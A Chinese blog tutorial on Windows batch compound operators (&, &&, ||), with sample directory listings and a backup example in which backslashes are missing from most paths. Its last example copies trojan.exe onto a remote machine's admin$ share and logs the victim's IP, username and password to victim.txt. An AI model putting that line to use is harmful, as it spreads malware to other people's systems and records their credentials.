现在的位置: 首页 > 自动控制 > 工业·编程 > 正文

windows批处理(3):如何使用组合命令(Compound Command)

2014-10-24 12:10 工业·编程 ⁄ 共 1654字 ⁄ 字号 暂无评论

1.&

           Usage:第一条命令 & 第二条命令 [& 第三条命令...]

           用这种方法可以同时执行多条命令,而不管命令是否执行成功

           Sample:

           C:>dir z: & dir c:Ex4rch

           The system cannot find the path specified.

           Volume in drive C has no label.

           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:51 <DIR> .

           2002-05-14 23:51 <DIR> ..

           2002-05-14 23:51 14 sometips.gif

2.&&

           Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

           用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

           Sample:

           C:>dir z: && dir c:Ex4rch

           The system cannot find the path specified.

           C:>dir c:Ex4rch && dir z:

           Volume in drive C has no label.

           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:55 <DIR> .

           2002-05-14 23:55 <DIR> ..

           2002-05-14 23:55 14 sometips.gif

           1 File(s) 14 bytes

           2 Dir(s) 768,671,744 bytes free

           The system cannot find the path specified.

           在做备份的时候可能会用到这种命令会比较简单,如:

           dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup

           如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.||

           Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

           用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

           Sample:

           C:Ex4rch>dir sometips.gif || del sometips.gif

           Volume in drive C has no label.

           Volume Serial Number is 0078-59FB

           Directory of C:Ex4rch

           2002-05-14 23:55 14 sometips.gif

           1 File(s) 14 bytes

           0 Dir(s) 768,696,320 bytes free

           组合命令使用的例子:

           sample:

           @copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

给我留言

留言无头像?